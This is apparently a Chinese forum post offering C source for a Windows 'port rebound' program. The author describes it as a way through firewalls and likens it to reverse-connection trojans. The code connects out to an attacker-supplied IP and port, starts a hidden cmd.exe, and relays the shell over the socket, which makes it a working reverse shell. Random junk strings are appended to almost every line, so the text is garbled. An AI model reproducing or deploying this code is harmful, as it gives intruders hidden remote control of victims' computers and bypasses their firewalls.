Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ZWxq<&Cg  
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/* ============================== 7;+:J;xf66  
Rebound port in Windows NT Zw`Xg@;xP  
By wind,2006/7 fXEF]C  
===============================*/ s-~Tf|  
#include -!k"*P  
#include vn9_tL&  

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#pragma comment(lib,"wsock32.lib") u+~
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void OutputShell(); D<]z.33  
SOCKET sClient; -P^ 6b(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nPD5/xW  
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void main(int argc,char **argv) Yu>VW\Fb  
{ 8S"vRR  
WSADATA stWsaData; MyXgp>?~T  
int nRet; S1.w^Ccy  
SOCKADDR_IN stSaiClient,stSaiServer; Yw vXSA  
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if(argc != 3) TG~:Cmc  
{ j ~:Dr  
printf("Useage:\n\rRebound DestIP DestPort\n"); m$Lq#R={Z  
return; Gcna:w>6d  
} a=+qR:wT  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1D sgU6"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !'Q/9%g  
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stSaiClient.sin_family = AF_INET; q["CT&0  
stSaiClient.sin_port = htons(0); <b~KR8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %qfql  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G'{$$+U^K  
{ mp:%k\cF|  
printf("Bind Socket Failed!\n"); 7y1J69IK  
return; *tC]Z&5  
} &.,ZU\`zT  
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stSaiServer.sin_family = AF_INET; ]cdKd)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o$8v8="p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3Sv<Viuo  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Pwn"!pk  
{ NguJ[  
printf("Connect Error!"); 0'{0kE[wn  
return; - &Aw]+  
} wws)**]J8  
OutputShell(); &`[y]E'  
} </3Shq  
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void OutputShell() dh#4/Wa,  
{ rLw3\>y  
char szBuff[1024]; n7>CK?25  
SECURITY_ATTRIBUTES stSecurityAttributes; j'Z};3y  
OSVERSIONINFO stOsversionInfo; eLXG _Qb"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U?P5cN  
STARTUPINFO stStartupInfo; I0trHrX9  
char *szShell; G%_6"s  
PROCESS_INFORMATION stProcessInformation; CZcnX8P'8  
unsigned long lBytesRead; }J"}5O2,b  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z6F>SL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Mn7nS:  
stSecurityAttributes.lpSecurityDescriptor = 0; St}j^
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stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~0aWjMc(>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _-$O6eZ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pCS2sq8RC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6m"_=.k%  
stStartupInfo.wShowWindow = SW_HIDE; %T4htZa  
stStartupInfo.hStdInput = hReadPipe; b1Bu5%bt,:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b0|q@!z>  
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GetVersionEx(&stOsversionInfo); qfE>N?/  
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switch(stOsversionInfo.dwPlatformId) !g{9]"Z1T  
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case 1: <8nl}^d5  
szShell = "command.com"; FjYih>  
break; ~?TG
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default: 7714}%Z  
szShell = "cmd.exe"; Ta^l1]9.*  
break; H)tnxD0)  
}  Cg[]y1Ne  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ""Nu["|E  
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send(sClient,szMsg,77,0); ,&[2z!  
while(1) 
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{  yG -1g0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eq+
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if(lBytesRead) 2gLa4B-  
{ &(a#I]`9M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +^1E0@b%  
send(sClient,szBuff,lBytesRead,0); 6yEYX'_  
} (
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else v3SH+Ej4  
{ #hvLv  
lBytesRead=recv(sClient,szBuff,1024,0); D5x }V  
if(lBytesRead<=0) break; 0T-y]&uo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mGR}hsQpn  
} }`M53>C,gQ  
} /Qi;'h]  
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return; "'/:Tp)  
}